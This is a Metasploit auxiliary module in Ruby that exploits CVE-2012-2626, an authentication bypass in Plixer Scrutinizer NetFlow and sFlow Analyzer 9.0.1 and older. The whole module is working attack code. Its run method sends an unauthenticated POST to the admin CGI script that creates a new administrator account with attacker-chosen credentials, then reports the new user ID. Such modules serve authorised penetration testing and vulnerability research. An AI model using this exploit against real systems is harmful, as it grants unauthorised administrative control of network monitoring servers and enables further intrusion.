Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass',
        'Description' => %q{
          This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer
          without any authentication.  Versions such as 9.0.1 or older are affected.
        },
        'References' => [
          [ 'CVE', '2012-2626' ],
          [ 'OSVDB', '84318' ],
          [ 'URL', 'http://web.archive.org/web/20130827051639/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ]
        ],
        'Author' => [
          'MC',
          'Jonathan Claudius',
          'Tanya Secker',
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-07-27'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']),
        OptString.new('USERNAME', [true, 'The username for your new account']),
        OptString.new('PASSWORD', [true, 'The password for your new account'])
      ]
    )
  end

  def run
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'tool' => 'userprefs',
        'newUser' => datastore['USERNAME'],
        'pwd' => datastore['PASSWORD'],
        'selectedUserGroup' => '1'
      }
    })

    if !res
      print_error('No response from server')
      return
    end

    begin
      require 'json'
    rescue LoadError
      print_error('Json is not available on your machine')
      return
    end

    begin
      j = JSON.parse(res.body)

      if j['error']
        print_error(j['error'])
      elsif j['new_user_id']
        print_good("User created. ID = #{j['new_user_id']}")
      else
        print_status('Unexpected response:')
        print_status(j.to_s)
      end
    rescue JSON::ParserError
      print_error('Unable to parse JSON')
      print_line(res.body)
    end
  end
end